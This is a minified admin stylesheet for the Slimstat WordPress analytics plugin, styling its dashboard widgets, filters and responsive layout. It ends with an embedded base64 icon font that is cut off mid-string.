.jqvmap-label canvas,body.slimstat_page_slimpro .jqvmap-label canvas,body.slimstat_page_slimlayout .jqvmap-label canvas{position:absolute;color:#2b2b2b !important;background:#2b2b2b !important;border:0 dashed transparent;background-color:#2b2b2b !important;width:12px !important;height:12px !important;transform:rotate(135deg) translateX(0px) translateY(1px);line-height:unset !important;border-top-right-radius:4px;display:inline-block;bottom:-5px;left:calc(50% - 6px)}.export-pro-badge{margin-left:3px;margin-bottom:-5px}.wrap.slimstat a,[id^=\"slim_\"] a{outline:none;text-decoration:none}[id^=\"slim_\"] a.slimstat-delete-entry:before{color:#ff3636}.slimstat-float-right{float:right}#slimstat-filters-post{display:none}#slimstat-filters-form{margin-top:10px;padding:5px;position:relative;border-radius:5px}#slimstat-filters input.text,#slimstat-filters select{vertical-align:initial;width:15%}#screen-meta-links{position:absolute;right:0;z-index:1}.rtl #screen-meta-links{left:0;right:auto}#slimstat-date-filters{padding:4px 10px 6px 20px;position:absolute;right:5px;top:5px;background-color:#e8294c;border-radius:50px}#slimstat-date-filters>a{color:#fff;white-space:nowrap}#slimstat-date-filters>a::after{content:\"\\f140\";font:normal 20px\u002F1 \"dashicons\";vertical-align:bottom}#slimstat-date-filters>a.open::after{content:\"\\f142\"}#slimstat-date-filters .dropdown{background-color:#fff;box-shadow:5px 0px 30px rgba(0,0,0,0.1);color:#222;display:none;padding:12px;position:absolute;right:-4px;top:35px;width:410px;z-index:120;border-radius:8px}.rtl #slimstat-date-filters .dropdown{right:auto;left:-4px}#slimstat-date-filters .dropdown strong{clear:both;display:block;font-weight:normal;padding:10px 5px 5px 0;text-transform:uppercase}#slimstat-date-filters .dropdown select,#slimstat-date-filters .dropdown input{margin:0 5px 5px 0;height:27px;width:130px}#slimstat-date-filters .dropdown select.short,#slimstat-date-filters .dropdown input.short{width:65px}#slimstat-date-filters .dropdown .ui-datepicker-trigger{float:right;margin:2px 5px 0 0}.rtl #slimstat-date-filters .dropdown .ui-datepicker-trigger{margin:2px 0 0 5px}#slimstat-current-filters{margin-bottom:5px;background-color:white;color:#616060;font-size:14px;overflow:hidden;padding:10px 10px;position:relative;border-radius:5px;margin-top:0px;border:solid 1px #f0f0f0}@media (max-width: 400px){#slimstat-current-filters .button-secondary{margin:2px auto}}#slimstat-current-filters .slimstat-remove-filter{color:#fff}#slimstat-current-filters .slimstat-filter-list{float:left;margin:0;padding:4px 0 5px 5px}#slimstat-current-filters .slimstat-filter-list li{display:inline;margin:0 20px 0 0;vertical-align:middle}.slimstat-filter-action-button{float:right;margin-left:10px !important}.wrap.slimstat .meta-box-sortables{display:flex;align-items:center;justify-content:flex-start;flex-wrap:wrap;margin-right:-1.3%}@media (max-width: 1560px){.wrap.slimstat .meta-box-sortables{margin-right:-0.5%}}.rtl .wrap.slimstat .meta-box-sortables{margin-right:0;margin-left:-1.3%}@media (max-width: 1560px){.rtl .wrap.slimstat .meta-box-sortables{margin-left:-0.5%}}.wrap.slimstat .postbox,.wrap.slimstat .sortable-placeholder{box-sizing:border-box;float:left;margin-bottom:15px;min-width:24.3%;overflow:hidden;width:24.3%}.wrap.slimstat .postbox.large{width:49.1%}.wrap.slimstat .postbox.extralarge{width:73.9%}.wrap.slimstat .postbox.full-width{width:98.7%}.sortable-placeholder{background-color:#ccc;border:1px dashed #bbb;margin-bottom:9px}.wrap.slimstat .postbox h3{border-bottom:1px solid #ddd;font-size:1.2em;margin:0;padding:10px}.wrap.slimstat .postbox.tall h3{cursor:auto}.slimstat-tooltip-content{display:none}.slimstat .no-refresh .refresh{display:none}[id^=\"slim_\"] p.pagination{font-weight:600;color:black;font-size:14px}[id^=\"slim_\"] p.pagination a{color:#151515;float:right;margin-left:5px}[id^=\"slim_\"] .inside{height:240px;margin:0 !important;overflow:auto;padding:0 !important;margin-bottom:45px !important}.wrap.slimstat .postbox.tall .inside{height:465px}.map-wrap .inside{height:370px !important}@media (max-width: 767px){.map-wrap .inside{height:auto !important}}[id^=\"slim_\"] p{border-bottom:1px solid #eee;line-height:1.5em;margin:0;min-height:20px;padding:10px 10px;position:relative;word-wrap:break-word}[id^=\"slim_\"] p:last-child{border-bottom:0}[id^=\"slim_\"] p .slimstat-tooltip-trigger.corner{-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);filter:FlipH;-ms-filter:\"FlipH\";left:0}[id^=\"slim_\"] p span{float:right}[id^=\"slim_\"] p span.pageview-screenres{margin-left:10px}[id^=\"slim_\"] .inline-icon{background-color:transparent;background-position:0 0;background-repeat:no-repeat;display:inline-block;height:18px;line-height:18px;margin-right:5px;vertical-align:middle;width:16px;filter:grayscale(40%);transition:0.3s all ease-out}[id^=\"slim_\"] .inline-icon:hover{filter:grayscale(0)}[id^=\"slim_\"] .spaced{margin-left:15px}#dashboard-widgets-wrap .whois{display:none}[id^=\"slim_\"] .debug{background-color:#000;color:#fff;display:block;font-family:monospace;opacity:0.8;padding:20px;position:relative}.little-color-box{background-color:#eee;border:1px solid #aaa;display:block;float:left;height:15px;margin-right:10px;width:15px}[id^=\"slim_\"] .header{background-color:#f8f8f8;color:#111}[id^=\"slim_\"] .header.is-search-engine,.little-color-box.is-search-engine{background-color:#e2dbff;color:#151515}[id^=\"slim_\"] .header.is-direct,.little-color-box.is-direct{background-color:#f8f8f8;color:#111}[id^=\"slim_\"] .header.is-known-user,.little-color-box.is-known-user{background-color:#ddf0ff}[id^=\"slim_\"] .header.is-known-visitor,.little-color-box.is-known-visitor{background-color:#ffe9c8}[id^=\"slim_\"] .header.is-spam,.little-color-box.is-spam{background-color:#eeff89;color:#222}[id^=\"slim_\"] p.loading{text-align:center;width:100%;padding:0;margin:0;top:50%;line-height:0;transform:translateY(-50%);overflow:hidden}[id^=\"slim_\"] p.nodata{border:0;color:#999;text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);width:90%}.chart-placeholder{height:280px;overflow:hidden}body.toplevel_page_slimview1 div[class*=\"-notice\"]:not(.slimstat-notice),body.toplevel_page_slimview1 div[class*=\"admin-notice\"]:not(.slimstat-notice),body.toplevel_page_slimview1 .notice:not(.slimstat-notice),body.toplevel_page_slimview1 .update-nag:not(.slimstat-notice),body.toplevel_page_slimview1 .error:not(.slimstat-notice),body.slimstat_page_slimview2 div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview2 div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview2 .notice:not(.slimstat-notice),body.slimstat_page_slimview2 .update-nag:not(.slimstat-notice),body.slimstat_page_slimview2 .error:not(.slimstat-notice),body.slimstat_page_slimview3 div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview3 div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview3 .notice:not(.slimstat-notice),body.slimstat_page_slimview3 .update-nag:not(.slimstat-notice),body.slimstat_page_slimview3 .error:not(.slimstat-notice),body.slimstat_page_slimview4 div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview4 div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview4 .notice:not(.slimstat-notice),body.slimstat_page_slimview4 .update-nag:not(.slimstat-notice),body.slimstat_page_slimview4 .error:not(.slimstat-notice),body.slimstat_page_slimview5 div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview5 div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimview5 .notice:not(.slimstat-notice),body.slimstat_page_slimview5 .update-nag:not(.slimstat-notice),body.slimstat_page_slimview5 .error:not(.slimstat-notice),body.slimstat_page_slimconfig div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimconfig div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimconfig .notice:not(.slimstat-notice),body.slimstat_page_slimconfig .update-nag:not(.slimstat-notice),body.slimstat_page_slimconfig .error:not(.slimstat-notice),body.slimstat_page_slimpro div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimpro div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimpro .notice:not(.slimstat-notice),body.slimstat_page_slimpro .update-nag:not(.slimstat-notice),body.slimstat_page_slimpro .error:not(.slimstat-notice),body.slimstat_page_slimlayout div[class*=\"-notice\"]:not(.slimstat-notice),body.slimstat_page_slimlayout div[class*=\"admin-notice\"]:not(.slimstat-notice),body.slimstat_page_slimlayout .notice:not(.slimstat-notice),body.slimstat_page_slimlayout .update-nag:not(.slimstat-notice),body.slimstat_page_slimlayout .error:not(.slimstat-notice){display:none !important}.ui-widget-overlay{background-color:#222;filter:alpha(opacity=60);height:100%;opacity:0.6;position:fixed;top:0;width:100%;z-index:100 !important}.ui-dialog.slimstat .ui-dialog-titlebar{background:#4b8df8;border:0;border-radius:0;color:#fff;font-family:\"Open Sans\", sans-serif;font-size:1.3em;font-weight:normal;height:22px;line-height:1.3em;margin:0;padding:5px 10px}.tooltip-item-title{font-size:13px;font-weight:500}.tooltip-item-content{font-size:13px;font-weight:normal;font-style:italic}.ui-dialog.slimstat .ui-dialog-titlebar-close{background-color:transparent;border:0;color:#fff;float:right;line-height:1.3em;padding:0}.ui-dialog.slimstat .ui-dialog-titlebar-close:before{content:\"\\e803\";font-family:slimstat}.ui-dialog .ui-dialog-content{clear:both}#slimstat-modal-dialog{background-color:#fff;display:none;max-height:650px !important;overflow:auto;padding:0;width:auto}#slimstat-modal-dialog p{margin:0;padding:10px}#dashboard-widgets [id*=\"slim_p\"].postbox .inside{height:281px}#dashboard-widgets [id*=\"slim_p\"][id*=\"_01\"].postbox .inside{height:290px}#dashboard-widgets #slim_p7_02.postbox .inside{height:320px}.closed .slimScrollDiv{height:0 !important}.nav-tabs{margin:20px 1px 0}.nav-tab{font-size:14px;margin:0 5px 0 0}.nav-tab a{color:#151515;display:block;text-decoration:none}.form-table{border:1px solid #ccc;margin-top:0}.form-table th{font-weight:400;padding:15px 10px}.slimstat-options-section-header{background-color:#ffffff !important;font-size:1.4em;font-weight:bold !important;margin:0;padding:5px 10px}.form-table h3{margin-top:0}.form-table td span.block-element{padding:0 30px 0 0}.form-table .description{color:#999;display:block;font-style:normal;margin-top:5px}.form-table #slimstat-filter-name,.form-table #slimstat-filter-operator,.form-table #slimstat-filter-value{width:20%}[id*=\"form-slimstat-options\"] input[type=\"number\"].small-text{width:85px}[class*=\"bootstrap-switch-id-addon_network_settings\"]{float:right}.CodeMirror{height:auto !important}.wp-list-table.slimstat-addons{margin-bottom:20px}.wp-list-table.slimstat-addons tbody th{border-left:5px solid #ccc}.wp-list-table.slimstat-addons th,.wp-list-table.slimstat-addons td{border-bottom:1px solid #ccc}.wp-list-table.slimstat-addons .active th{border-color:#10a062;border-style:solid;border-radius:0 0 0 5px}.wp-list-table.slimstat-addons .active td{border:0}.column-wp-slimstat{text-align:center !important;width:3em}.slimstat-icon:before{content:\"\\f239\";font-family:dashicons}.rtl #slimstat-current-filters .slimstat-filter-list{padding:0 0 0 75px}.rtl #slimstat-current-filters .slimstat-filter-list li{margin-left:20px;margin-right:0}.rtl #slimstat-remove-all-filters{left:5px;right:inherit}.rtl #slimstat-date-filters{left:5px;right:inherit}.rtl #slimstat-date-filters span{left:0;right:inherit}.rtl .wrap.slimstat .postbox{float:right}.rtl .slimScrollBar{left:2px !important;right:inherit !important}.rtl [id^=\"slim_\"] p.pagination a{float:left}.rtl [id^=\"slim_\"] p span{float:left}.rtl .qtip-content{text-align:right}.rtl .form-table td span.block-element{padding:0 0 0 30px}.slimstat-layout .postbox-container{float:none;margin-top:20px;overflow:hidden;border:solid 1px #f0f0f0;border-radius:10px}.slimstat-layout .meta-box-sortables{overflow:hidden;padding:10px}.slimstat-layout .postbox-container span.title{background-color:#c0c0c0;color:#fff;font-size:16px;margin-bottom:0;padding:10px}.slimstat-layout .postbox,.slimstat-layout .sortable-placeholder{float:left;margin:0 10px 10px 0;min-width:285px}.slimstat-layout h3{border:0;font-weight:300;font-size:1.1em;margin:0;padding:5px 10px}@media screen and (max-width: 1560px){.wrap.slimstat .postbox{width:32.8%}.wrap.slimstat .postbox.large{width:66.1%}.wrap.slimstat .postbox.extralarge,.wrap.slimstat .postbox.full-width{width:99.4%}.wrap.slimstat .postbox h3{font-size:1em;line-height:1.2em}.wrap.slimstat .postbox p{font-size:1em;line-height:1.5em}.wrap.slimstat .postbox p span.details{float:none !important;display:block;padding:0px !important;margin-top:10px;align-items:center}.wrap.slimstat .postbox p span.details>*:nth-last-child(1){position:relative;float:right;right:-25px}.wrap.slimstat .postbox p span.details>*:nth-last-child(2){position:relative;float:right;right:25px}[id^=\"slim_\"] .spaced{margin:0}}.index-php div#slim_p7_02.postbox .pageview-screenres{float:none}.index-php div#slim_p7_02.postbox .details{position:relative;float:none;display:block}.index-php div#slim_p7_02.postbox .details .slimstat-font-edit{float:right}.index-php div#slim_p7_02.postbox .details .spaced{margin-left:0px}@media screen and (max-width: 1080px){.wrap.slimstat .postbox{width:49.125%}.wrap.slimstat .postbox.large,.wrap.slimstat .postbox.extralarge,.wrap.slimstat .postbox.full-width{width:99%}}@media screen and (max-width: 800px){#slimstat-filters input.text,#slimstat-filters select{margin:0 0.5% 0 0;width:26%}.wp-core-ui .button-secondary{height:35px}#slimstat-date-filters{margin-top:5px;position:relative;right:inherit;top:inherit}.wrap.slimstat .postbox,.wrap.slimstat .postbox.large,.wrap.slimstat .postbox.extralarge,.wrap.slimstat .postbox.full-width{margin:0 0 10px;width:99.5%}.wrap.slimstat .postbox h3{font-size:1.4em;line-height:1em}.wrap.slimstat .postbox p{line-height:1.4em}.nav-tab{display:block;margin:0}.form-table th{font-size:1.4em}.form-table th label{font-size:1em}.form-table td{padding:10px}.form-table .button-primary,.form-table .button-secondary{height:30px;margin-bottom:5px;text-align:center;width:100%}.form-table #slimstat-filter-name,.form-table #slimstat-filter-operator,.form-table #slimstat-filter-value{width:100%}[id^=\"slim_\"] .users .column-name{display:none}[id^=\"slim_\"] p{padding:8px 10px;word-break:break-all;overflow-wrap:break-word;hyphens:auto}[id^=\"slim_\"] p .slimstat-filter-link{max-width:100%;display:inline-block;word-break:break-all;overflow-wrap:break-word}[id^=\"slim_\"] p .details{display:block;margin-top:5px;font-size:0.9em;line-height:1.3em}[id^=\"slim_\"] p .spaced{margin-left:8px;margin-right:8px}[id^=\"slim_\"] .inline-icon{margin-right:3px}[id^=\"slim_\"] p span.pageview-screenres{margin-left:5px;font-size:0.8em}[id^=\"slim_\"] p .slimstat-filter-link{position:relative}[id^=\"slim_\"] p .slimstat-filter-link[title]{cursor:help}[id^=\"slim_\"] p{min-width:0;flex-shrink:1}[id^=\"slim_\"] p .slimstat-filter-link{max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;display:inline-block;vertical-align:top}[id^=\"slim_\"] p .slimstat-filter-link:hover{white-space:normal;word-break:break-all;overflow:visible;position:relative;z-index:10;background-color:#fff;box-shadow:0 2px 8px rgba(0,0,0,0.15);padding:4px;border-radius:3px}[id^=\"slim_\"] p.access-log-entry{display:flex;flex-direction:column;align-items:flex-start;gap:4px}[id^=\"slim_\"] p.access-log-entry .details{display:flex;flex-wrap:wrap;align-items:center;gap:8px;font-size:0.85em;color:#666;margin-top:4px}[id^=\"slim_\"] p.access-log-entry{flex-direction:column;align-items:stretch}[id^=\"slim_\"] p.access-log-entry .details{flex-direction:column;align-items:flex-start;gap:4px}[id^=\"slim_\"] p.access-log-entry .details>*{margin-bottom:2px}}@media screen and (max-width: 600px){[id^=\"slim_\"] p{padding:6px 8px;font-size:0.9em}[id^=\"slim_\"] p .details{font-size:0.8em;margin-top:3px}[id^=\"slim_\"] .spaced{margin-left:5px;margin-right:5px}[id^=\"slim_\"] .inline-icon{margin-right:2px;width:14px;height:16px}[id^=\"slim_\"] p span.pageview-screenres{font-size:0.7em;margin-left:3px}[id^=\"slim_\"] p.header{display:flex;flex-direction:column;align-items:flex-start}[id^=\"slim_\"] p.header .inline-icon{margin-bottom:2px}[id^=\"slim_\"] p.access-log-entry .details{font-size:0.8em}}@font-face{font-family:\"slimstat\";src:url(\"slimstat.eot?58272494\");src:url(\"slimstat.eot?58272494#iefix\") format(\"embedded-opentype\"),url(\"slimstat.svg?58272494#fontello\") format(\"svg\");font-weight:normal;font-style:normal}@font-face{font-family:\"slimstat\";src:url(\"data:application\u002Foctet-stream;base64,d09GRgABAAAAABvsAA8AAAAALlwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABWAAAADsAAABUIIslek9TLzIAAAGUAAAAQwAAAFY+UEk6Y21hcAAAAdgAAADDAAACzg4H7jVjdnQgAAACnAAAABMAAAAgBzP+pGZwZ20AAAKwAAAFkAAAC3CKkZBZZ2FzcAAACEAAAAAIAAAACAAAABBnbHlmAAAISAAAD8QAABhCKXIj12hlYWQAABgMAAAAMgAAADYOp0OgaGhlYQAAGEAAAAAgAAAAJAfKA\u002FZobXR4AAAYYAAAAEcAAABsW2r\u002F+WxvY2EAABioAAAAOAAAADhIdk6NbWF4cAAAGOAAAAAgAAAAIAFJC\u002FluYW1lAAAZAAAAAY4AAAMJSEJEcXBvc3QAABqQAAAA3QAAAVJ0zYSJcHJlcAAAG3AAAAB6AAAAhuVBK7x4nGNgZGBg4GIwYLBjYHJx8wlh4MtJLMljkGJgYYAAkDwymzEnMz2RgQPGA8qxgGkOIGaDiAIAJjsFSAB4nGNgZE5mnMDAysDAVMW0h4GBoQdCMz5gMGRkAooysDIzYAUBaa4pDA4vGF5IMgf9z2KIYm5kOAYUZgTJAQDkzwwIAHic7ZLtbUIxEATHwXkQQj6AQMKrIYWkgBSUX9S6XcCe35YRS3OST7Zl3SzwCKzMt+nQrjRq\u002FbnbRn\u002FFdvQ7v+NMr74ut5srVb3voz74bPeLE2s2PPneMzteeOWNd\u002FYcOPLBiTOffHFh9qWJ\u002F7Wr0n6ym2uuC2PSwdNFoYwp1OwVyqaCLaBgHyjYDAp2hEJZVrA3FOp3CnaJgq2iYL8o2DQKdo6C7aPgHKDgRKDgbKDglKDgvKDg5KDgDDmJC8x3F5s9LgB4nGNgQAMSEMjc+N8KhAETIgPbAHicrVZpd9NGFB15SZyELCULLWphxMRpsEYmbMGACUGyYyBdnK2VoIsUO+m+8Ynf4F\u002FzZNpz6Dd+Wu8bLySQtOdwmpOjd+fN1czbZRJaktgL65GUmy\u002FF1NYmjew8CemGTctRfCg7eyFlisnfBVEQrZbatx2HREQiULWusEQQ+x5ZmmR86FFGy7akV03KLT3pLlvjQb1V334aOsqxO6GkZjN0aD2yJVUYVaJIpj1S0qZlqPorSSu8v8LMV81QwohOImm8GcbQSN4bZ7TKaDW24yiKbLLcKFIkmuFBFHmU1RLn5IoJDMoHzZDyyqcR5cP8iKzYo5xWsEu20\u002Fy+L3mndzk\u002FsV9vUbbkQB\u002FIjuzg7HQlX4RbW2HctJPtKFQRdtd3QmzZ7FT\u002FZo\u002FymkYDtysyvdCMYKl8hRArP6HM\u002FiFZLZxP+ZJHo1qykRNB62VO7Es+gdbjiClxzRhZ0N3RCRHU\u002FZIzDPaYPh788d4plgsTAngcy3pHJZwIEylhczRJ2jByYCVliyqp9a6YOOV1WsRbwn7t2tGXzmjjUHdiPFsPHVs5UcnxaFKnmUyd2knNoykNopR0JnjMrwMoP6JJXm1jNYmVR9M4ZsaERCICLdxLU0EsO7GkKQTNoxm9uRumuXYtWqTJA\u002FXco\u002Ff05la4udNT2g70s0Z\u002FVqdiOtgL0+lp5C\u002FxadrlIkXp+ukZfkziQdYCMpEtNsOUgwdv\u002FQ7Sy9eWHIXXBtju7fMrqH3WRPCkAfsb0B5P1SkJTIWYVYhWQGKta1mWydWsFqnI1HdDmla+rNMEinIcF8e+jHH9XzMzlpgSvt+J07MjLj1z7UsI0xx8m3U9mtepxXIBcWZ5TqdZlu\u002FrNMfyA53mWZ7X6QhLW6ejLD\u002FUaYHlRzodY3lBC5p038GQizDkAg6QMISlA0NYXoIhLBUMYbkIQ1gWYQjLJRjC8mMYwnIZhrC8rGXV1FNJ49qZWAZsQmBijh65zEXlaiq5VEK7aFRqQ54SbpVUFM+qf2WgXjzyhjmwFkiXyJpfMc6Vj0bl+NYVLW8aO1fAsepvH472OfFS1ouFPwX\u002F1dZUJb1izcOTq\u002FAbhp5sJ6o2qXh0TZfPVT26\u002Fl9UVFgL9BtIhVgoyrJscGcihI86nYZqoJVDzGzMPLTrdcuan8P9NzFCFlD9+DcUGgvcg05ZSVnt4KzV19uy3DuDcjgTLEkxN\u002FP6VvgiI7PSfpFZyp6PfB5wBYxKZdhqA60VvNknMQ+Z3iTPBHFbUTZI2tjOBIkNHPOAefOdBCZh6qoN5E7hhg34BWFuwXknXKJ6oyyH7kXs8yik\u002FFun4kT2qGiMwLPZG2Gv70LKb3EMJDT5pX4MVBWhqRg1FdA0Um6oBl\u002FG2bptQsYO9CMqdsOyrOLDxxb3lZJtGYR8pIjVo6Of1l6iTqrcfmYUl++dvgXBIDUxf3vfdHGQyrtayTJHbQNTtxqVU9eaQ+NVh+rmUfW94+wTOWuabronHnpf06rbwcVcLLD2bQ7SUiYX1PVhhQ2iy8WlUOplNEnvuAcYFhjQ71CKjf+r+th8nitVhdFxJN9O1LfR52AM\u002FA\u002FYf0f1A9D3Y+hyDS7P95oTn2704WyZrqIX66foNzBrrblZugbc0HQD4iFHrY64yg18pwZxeqS5HOkh4GPdFeIBwCaAxeAT3bWM5lMAo\u002FmMOT7A58xh0GQOgy3mMNhmzhrADnMY7DKHwR5zGHzBnHWAL5nDIGQOg4g5DJ4wJwB4yhwGXzGHwdfMYfANc+4DfMscBjFzGCTMYbCv6dYwzC1e0F2gtkFVoANTT1jcw+JQU2XI\u002Fo4Xhv29Qcz+wSCm\u002Fqjp9pD6Ey8M9WeDmPqLQUz9VdOdIfU3Xhjq7wYx9Q+DmPpMvxjLZQa\u002FjHyXCgeUXWw+5++J9w\u002FbxUC5AAEAAf\u002F\u002FAA94nJ1YDWwU151\u002F\u002Fzfz3szOrvdzdsb4Y70f3l177Rq8nwaMWWzADl7AmA3BoXXcKx85jDGKCKQJRG2TVoQQSF2ONjR3ChU9UNWmBNIURZE4EfdUJdGFRIlPOqLqFKEeiXK5u15VqQiG+7\u002FZNZiEpHfH4jcz72Pe+\u002F\u002F+X7\u002F\u002FEErIze1SlzRMFOIkE4NnfEMbiwkChMA3iCwxSWYTCjC2kwKRJDKMFyLdx0Ei0mB9MY4TYfIvzRsp6qpKiOpUnZoD91F8Pp\u002FKzDZfLpLLBCNB8EV8EPkTRK7\u002FN\u002F2QfvOZUumZ6\u002F9FT974KsF33Lxx8yXpAclJdBIhHaRYXOIGoA6gBGg\u002FoRJIFCYIJxLl0pg4twxkjMiMyWUiy2wjYTIrBY2gEUvEFFbfBkGdt0E0sQSy+cWQE03aMLMd4JZCtAcKuhuiHXiTDgH8UVPPqpqm7teUZlW7Onzw7w8N0fKBn31vw2MP\u002FePV3+7kj772x1cfp9FrimbPmMbJb60\u002FWKZDh39yGGceXP\u002Fw9O7d0x+LBmWhN28i1iekGqKiLOni\u002FCYA4gapIgjdRWREXcbTgyRBmQBIGwnKVzJjesDP2Lw2wGPyEPQA6Dw6H3hMnFQOUVNXTIM+cfStY\u002FLh9w5BtH2RfmHzY0NTDxZp947DJw\u002Ft6pJWXAjCd7ZN0WNv\u002FIgfso43poIXVvRsf\u002FYnh3cuknu3Hlv92OYLQTyiAPDmf9D36PdIMwkV66PzvIpMKPTjIQmdxPOSrXqDrsusti2ue0AcQxFNIrsUkqLJp5ugIBoDh\u002FFU73lK3nbvyZPYlLzi6r397PGcPOnZZYibn\u002F7U8\u002FmJng4xQcBy88+I2zDi5iNJspRMFZ3doDoceDJC+wfPuNBoM8ShOiY1UGV1kigykxU2QRgB9g0OMs67E9kRgezq+mL27qtkRsa\u002FeNlI0bt0yaKuuBH1xxeibpyssS0+q5uCsCUw8AYtTYlEE0k0skzENNJLIZI2JKOCWqJQMb9CJm0owUyavqGHDOqPer+vh\u002F3UaKhdGTauv2mGIGyANBjZECmBZIRf0fzXtJB2zefQzCOG+4jbgCO1mz06ra2rpbpn9ubQOQMXBs8Z4VIY\u002F0OL6bum4SozeM2jg+G+ZmP6EmLaYWPaSorkaNGZAwRjFlOHjSn6rEDHgeg4mGOScESUb0FPF9AwMiYByDKU8QLyCPqebGN6l1WMk4kvWzZS9C\u002Fp7spnFsSi6XgugKi6bFQTbghBOl\u002FAG2rgFUGNVUE1MyFYLMYQQonbnq3ExBA2FUM0vgTVT1352JFovuZTRNVRe0T3HEFojpgBnw2wv9GN68K67q1en0EwwwY20NTS0hSCYaMKZXsF2qp\u002F\u002F1legLGqlmRIb3FpCoB3xphkhyrOgHGYEABIGCNt2yQMxogky1IZg6a8EQOpXIq15A09FrVjVTbRhjaCTZQ3QizKdRQJzSjPKpZVQPNJonFhABNNUFdCQN+w49UORduvamyaefEPtuy7\u002F8aJbUdhTS+c3nPfs5GW3OKyOTAKpUrMUqc1MY1N8z0j+2DqwYF9odo9p\u002F9qKFZe3Bb17SGfk21FsTcFBGVDaWqAgtQ\u002Fq2LUKBGhWYhna5pQWaZlQqkQjwrxcnosrlfEQzeIojvoxmJUniF0uQQy6S8XryrTHCm\u002FULxdakUqz6yUz91VPJEDX6LdKJuK0iWKMTIrA6U7iYRJSKiHbMQbUjLNgF9EP9QN6kNYpK5ImDMSSSmBNpk24BflPWX8f9j\u002FpqM5kVDe8p\u002F+5DT8+2LRV168JGkN+Q3DD2eSS\u002FacPm3v\u002FdfSVYxtbtJI1hXX1OqUcbck8ifaidQfBHmFqmCfQNi2Hk5gHP2XM5l\u002FLlV4PJ5GT2M00Bz1R30OxDjoiyhGRvgIl5PRpJRvzqTNgi9SSKA5KTD1wo5j+y9GDsasT869PfVUDPRzb\u002F9gytpZ6T6G4+PHHv7F72EKpl+8MiUG8Nm2Bzsmj9BpRKxIhoqrXZiVoT+C51tJJIUrEkf4OHCRnYXhs3EiUjGRJ5ABcKrg2UWYLRPM1GgZTC61x1PJgBHTVdbQBrqCURKTdKzi6oUMNoYJRsFXSd+FJLp4D5hCNF82kYxFs4k8mlO106B\u002F47TecYb0qpPqISfMd06P9p1V8KDiqKp6Np6FfPPLXKN0tqdvFEbdTuuSpntOGO4ZXHsC3d+BHb+yHukb1VSng9coKi6DA7hapqpc7Rm9hck4fR1zVFH4v45vBXQNyigXaUWiTELVISeSyYQwMg5U+P8dBmbE5sVT8aRwkLiOycINIqjlfBWmEjTtrqTQnk83UNQQnQuWoDW3wIItdFYulBwd5U7BKaeUC5gajGtuA1EyGgRKHdTP3A4ZRvvgwB0yW49UZIb2u2NU5Q\u002FYjNJ1JEjMoo6RTiBgs0SkDuY8ygxUrmAGNntIInEoVEI1jPLLlzlvYG5uXeeYfJlXbuAUA+EHl7kb+xnIeMUG76v7lGb3cd65T4Ne2UeBz3ATAUoJ34+bNPDqfl5MPxwWKaKbNeAWlz+oDOOz0CkqNmvv00YaivNaA1RsJeIcTAov3Wo2mnP40ByJbDHNu\u002FaisJ8RVBxmxt6+0lkR+YMP2LDyGdm9MgKi3LWXVM8bvX3eiPOz522obbDPe3d4zP8DaDMMz2qf8\u002FLlCnQozBcgqX4hvshDNmHsbSb95GvF+\u002FvilDvmY8QwkdmrGNjkfqRoXHVwQR\u002FQZhmdkIFKnKIrifIC0JVUjIYqRhSRWOe40soViXg8H0\u002Fk9GYNyQToQbcdUBQ+y\u002F\u002FTBvcgvxBRJF+wnwPV+iC\u002FFOwQiT873uR6QCQipLaGNNh85bl1P+oeQMdBrxHWv7plc2HVd5LcZK5xVXPr3krv8K7BSuckhp3m3z+37rhYVAtMgmOv9iwccNrL0e1Wx1tW9WhdNS44X+1YXXnmcnWiqIXsPPWGnac8JCYqCI8of\u002FoxklKJ0VGcgQAgpcDKhwzjChFZiVzKLfQFIl7O6trMiM+OqBGWSaCOk8xXpVM+wVHTRhOC0U+7ryJDsj6Ere8w5ZfcC40h88aJChXdYuQ9L3oNBX4eNq7OeJUXFX7FcglqRJFI1bp\u002F6cnbXGGT9DHmtCayjLQWE7Ko1vo7AZZLIrNOIsWkk2iVW4FEwnqANEGTzHSEGdHuRD2g1+APkcc9C0ik84lkBxqjPY4\u002FozKOGuvEp2RC\u002FPJiUgL+cN+68vINO7Zv2762NxLhcXedN+OTNBqDeOLZ0U0Wq\u002FXI6OzNtDkxsOmxvd\u002Fc\u002F3UxeRwnh1lc5W6\u002FNNwYWrgiqIfCa3s3rD+3rrXeCz7Jw+9\u002FfeRrzybi1qdemav208Cm5mjtvHVz5gYjbr9wP2bngSuop1asWHOkhwwAKfoGctnMV9rboiqDBkAzRo6tIcdegPkQiIJpkgHnbAuxeRMqkasYbLn8AOpWshmUyPFUKtUPnnHiutbqfAX+FwvM\u002F9dGxc65S9D7Jv7impGRkWIglepdlu5cMD\u002FVkeroznVlHBhtRAIrRNKoUYyHyQQaXSWBRQTnE2EGq6CKLcZzYEIyE8wUkkrBwJEErgjcqikxLV2KhRySUq9qNS5rgZ3M4FI8y5rVWhy1FmAW3wJ7T1hPjefCxXuLux2OaYcf\u002F65lsLa81+vNHIdLvaPglgO8QZWlbLz6kpUKvkJ1bcds2fkC7H0BX5Bfdu+ybbPrYVnG6y3jO7IEcRFx6yrmeh+pQ18UWu4nQ+TrxdE8MGVpPZV5O4Ypqd+Bj1wR2HFZ4fI4AicpsjTuRNdVJIq0iCiMKGOaIAu0jBcKG5F9QmntmsFVK1f0LlvSvbALC6JgQXehC+eyPRSTPrJhgVYyUUAS2gNYJombvKg9A1iH2v5QwEcu6EJgdsi8NWf2ZujJ13772pNDazX9+h90bW1\u002FqruFtnd17Ewtapebe6PvO9s3rqp